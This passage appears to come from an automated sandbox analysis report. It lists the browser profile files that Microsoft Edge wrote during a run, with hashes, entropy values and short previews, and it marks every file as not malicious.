Preview:	2025/02/07-11:44:04.644 c40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/02/07-11:44:04.651 c40 Recovering log #3.2025/02/07-11:44:04.660 c40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.137857673614221
Encrypted:	false
SSDEEP:	6:iOXgUvIq2PCHhJ23oH+TcwtrQMxIFUtFgCXZmw7gu7kwOCHhJ23oH+TcwtrQMFLJ:7FvIvBYebCFUtT/z756YebtJ
MD5:	7D7344E63B1C92E4D0986809CE129287
SHA1:	EA3E1A547116719452863B9C79731F4F0BA3439D
SHA-256:	0B8A8925A580DC163C663E578B5F30FC29BD2F4311B4997788204DAC343E761A
SHA-512:	BC4692408A85DB5BA27D9C78EC6111547A36084917C8C3D089D9B752E0C0BA10E2FC7D6538736B49D53984F89CCA37E105E104E4EDEC388FA34CF5B034F35638
Malicious:	false
Preview:	2025/02/07-11:44:04.644 c40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/02/07-11:44:04.651 c40 Recovering log #3.2025/02/07-11:44:04.660 c40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13383420246322421

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.7978033484508846
Encrypted:	false
SSDEEP:	24:3hc57npsAF4unxdJAtLp3X2amEtG1ChqxsYlAvEeOmQKkOAM4A:3QzFtJeLp2FEkChgsYYIHOpH
MD5:	3A01C2E247899E7A2F0DC43217DB2090
SHA1:	FDDB878DC6C42A94F97BA000B56C6F257CBE0C15
SHA-256:	3165FCDF0B8EF65AFCD8FF33701104924FCDE57DF2F3623B48FF010356FD7DAA
SHA-512:	367F23D464B97350D116E9871A2F93BD1F40BC20AA22D72B7BB349A36447E73213596FC908B0539DEA44B75D313755E87DC43F205F6FC973CC15E91D8066EF89
Malicious:	false
Preview:	SNSS..........0..............0......"...0..............0..........0..........0..........0....!.....0..................................0...01..,......0$...b4306cba_5932_4a7c_9b54_6572e19a77e9......0..........0.....z............0......0..........................0....................5..0......0&...{890D5FC3-0C4C-4214-A93A-B8E730A022A1}........0..........0.............................0..............0........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......l.&..-..m.&..-.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.153300681948109
Encrypted:	false
SSDEEP:	6:iOXgaYXwQ+q2PCHhJ23oH+Tcwt7Uh2ghZIFUtFgaYXwgZmw7gaYXwQVkwOCHhJ20:7YXwVvBYebIhHh2FUtWXwg/kXwI56YeQ
MD5:	390B2B0FC65CAEEF02B7AD71CA3CD656
SHA1:	4873E8A43F941569291FB8DB53371A715E42F181
SHA-256:	C7BA73BF3587488E4B6FFA26120E66433205E819669A9EDB63169586F5BCB369
SHA-512:	B03222A8A2F4D6E040C20FDA21B79CFAEFDC3A5E21F01FE40750E687F31500C28E23AE1C35796D1F48507831B02EE3523D0EAD6E3DE2064410F552D151A68725
Malicious:	false
Preview:	2025/02/07-11:44:03.841 4f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/02/07-11:44:03.841 4f8 Recovering log #3.2025/02/07-11:44:03.841 4f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.153300681948109
Encrypted:	false
SSDEEP:	6:iOXgaYXwQ+q2PCHhJ23oH+Tcwt7Uh2ghZIFUtFgaYXwgZmw7gaYXwQVkwOCHhJ20:7YXwVvBYebIhHh2FUtWXwg/kXwI56YeQ
MD5:	390B2B0FC65CAEEF02B7AD71CA3CD656
SHA1:	4873E8A43F941569291FB8DB53371A715E42F181
SHA-256:	C7BA73BF3587488E4B6FFA26120E66433205E819669A9EDB63169586F5BCB369
SHA-512:	B03222A8A2F4D6E040C20FDA21B79CFAEFDC3A5E21F01FE40750E687F31500C28E23AE1C35796D1F48507831B02EE3523D0EAD6E3DE2064410F552D151A68725
Malicious:	false
Preview:	2025/02/07-11:44:03.841 4f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/02/07-11:44:03.841 4f8 Recovering log #3.2025/02/07-11:44:03.841 4f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.250379713751494
Encrypted:	false
SSDEEP:	12:7PQ+L+vBYebvqBQFUtDXW/iLV56YebvqBvJ:7PgBYebvZgDXx6Yebvk
MD5:	CEA0418D1795B4218B3EFF5979FBC42A
SHA1:	88EB089978F3F33E3ECC6CDB9EFDB914139768A4
SHA-256:	7DBD2A925D04F289DB92B9A0724B939EF62C8AF6813D60FC59FA4257415DCCBC
SHA-512:	43252722415F9CC423581E62ADB0D121EAC052F3CC5B66B46AE2819DE50D4908EC6DF844E9598F1A8533CC721B1B735382EBE48CBBB3E330C477FD4DDC5AEB15
Malicious:	false
Preview:	2025/02/07-11:44:04.628 125c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/02/07-11:44:04.629 125c Recovering log #3.2025/02/07-11:44:04.634 125c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.250379713751494
Encrypted:	false
SSDEEP:	12:7PQ+L+vBYebvqBQFUtDXW/iLV56YebvqBvJ:7PgBYebvZgDXx6Yebvk
MD5:	CEA0418D1795B4218B3EFF5979FBC42A
SHA1:	88EB089978F3F33E3ECC6CDB9EFDB914139768A4
SHA-256:	7DBD2A925D04F289DB92B9A0724B939EF62C8AF6813D60FC59FA4257415DCCBC
SHA-512:	43252722415F9CC423581E62ADB0D121EAC052F3CC5B66B46AE2819DE50D4908EC6DF844E9598F1A8533CC721B1B735382EBE48CBBB3E330C477FD4DDC5AEB15
Malicious:	false
Preview:	2025/02/07-11:44:04.628 125c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/02/07-11:44:04.629 125c Recovering log #3.2025/02/07-11:44:04.634 125c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\205c46b3-507c-47ac-ad50-163372f86b91.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\477fb949-7464-4d65-b7d1-a6cc24aa4fa5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7036a679-fa5c-48e6-91bc-e5dcf1163310.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\77537036-bb31-460d-b455-0e469a502669.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF35c3a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF35f48.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	419
Entropy (8bit):	5.23305920373926
Encrypted:	false
SSDEEP:	6:iOXgYQCOq2PCHhJ23oH+TcwtzjqEKj0QMxIFUtFgY2iZmw7gUOkwOCHhJ23oH+Tj:7ZQCOvBYebvqBZFUt7B/856YebvqBaJ
MD5:	EAB5EC69567CE327D9F69C0E6ACBEF23
SHA1:	079DFC4179B4C19CC3925364ADBA855A1371255A
SHA-256:	05153B12684EB2EDF83A17957F535F507AC26525E0F00F3615BCF980AF7FAC18
SHA-512:	35E474A29900E3E7294625499A9E7C95D60360E2C04794000D68ECE3570EB23F5501DB4EAD79BAFFE5B46B860EB3A43DBF89044F7A4A4CD4096940E7EC75E913
Malicious:	false
Preview:	2025/02/07-11:44:22.835 c40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/02/07-11:44:22.837 c40 Recovering log #3.2025/02/07-11:44:22.841 c40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	419
Entropy (8bit):	5.23305920373926
Encrypted:	false
SSDEEP:	6:iOXgYQCOq2PCHhJ23oH+TcwtzjqEKj0QMxIFUtFgY2iZmw7gUOkwOCHhJ23oH+Tj:7ZQCOvBYebvqBZFUt7B/856YebvqBaJ
MD5:	EAB5EC69567CE327D9F69C0E6ACBEF23
SHA1:	079DFC4179B4C19CC3925364ADBA855A1371255A
SHA-256:	05153B12684EB2EDF83A17957F535F507AC26525E0F00F3615BCF980AF7FAC18
SHA-512:	35E474A29900E3E7294625499A9E7C95D60360E2C04794000D68ECE3570EB23F5501DB4EAD79BAFFE5B46B860EB3A43DBF89044F7A4A4CD4096940E7EC75E913
Malicious:	false
Preview:	2025/02/07-11:44:22.835 c40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/02/07-11:44:22.837 c40 Recovering log #3.2025/02/07-11:44:22.841 c40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.276260155213119
Encrypted:	false
SSDEEP:	6:iOXganX9+q2PCHhJ23oH+TcwtpIFUtFgaqZmw7gais9VkwOCHhJ23oH+Tcwta/Wd:7nX4vBYebmFUtA/1D56YebaUJ
MD5:	E38F88C6B6516114EB597615AEDD1293
SHA1:	EAE269503C73E70BDF38CE72B25D53B666622A04
SHA-256:	7A461E02F186C17AB5499AFFC0A62C5B3862346FD56E639A70F87F40718CE0FB
SHA-512:	1BFA07C43D2A8F015D2418DE8C39EBB2032318EA7D6A30190F74B8A84FEB91A993EF060D304B72AD1E50DA4FEEB5EF3C82ABDF2FB9CCB8FCA0315B63FA089CBA
Malicious:	false
Preview:	2025/02/07-11:44:03.971 878 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/02/07-11:44:03.972 878 Recovering log #3.2025/02/07-11:44:03.973 878 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.276260155213119
Encrypted:	false
SSDEEP:	6:iOXganX9+q2PCHhJ23oH+TcwtpIFUtFgaqZmw7gais9VkwOCHhJ23oH+Tcwta/Wd:7nX4vBYebmFUtA/1D56YebaUJ
MD5:	E38F88C6B6516114EB597615AEDD1293
SHA1:	EAE269503C73E70BDF38CE72B25D53B666622A04
SHA-256:	7A461E02F186C17AB5499AFFC0A62C5B3862346FD56E639A70F87F40718CE0FB
SHA-512:	1BFA07C43D2A8F015D2418DE8C39EBB2032318EA7D6A30190F74B8A84FEB91A993EF060D304B72AD1E50DA4FEEB5EF3C82ABDF2FB9CCB8FCA0315B63FA089CBA
Malicious:	false
Preview:	2025/02/07-11:44:03.971 878 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/02/07-11:44:03.972 878 Recovering log #3.2025/02/07-11:44:03.973 878 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.26490293555246
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMCSAELyKOMq+8QTQKC+CVumes:K0q+n0JC9ELyKOMq+8Q7Xs
MD5:	A81253912E4C960FB263F2B4B501EBFA
SHA1:	B401017D617E8F6F685A8D38D4DAF656F26E497D
SHA-256:	24CB01073B4F9E71441B34D51A83AA78D326A3E82AFDE33568152F22FC005F9E
SHA-512:	736B8B8970B6F55C77AD86799091E7A4B51F64264AF6CE63A6D8DE6758DF6E34B58C66CA63B41EFE0E46E0019539A2F963FD7CD7B29B1F9C30D957213214D643
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4663519590655914
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0cH:v7doKsKuKZKlZNmu46yjx0Q
MD5:	B94F3D35CE778C88678A547B232C420C
SHA1:	2D8F8CA5D88240E4A83E93B514C8208A7056BF36
SHA-256:	F9C37EBFCC460DF2D4D6A82BB6F2881A2DD538ECDED31F57A0F929410A19220C
SHA-512:	9421A6BE2BC55D69923191F5A0DC819C6B9EEA2CBF2C2C381FC26643548440E17233AA91DCD293E764E54AEB1749FE6F502BC668F9FE513BAE17B6F83F194608
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
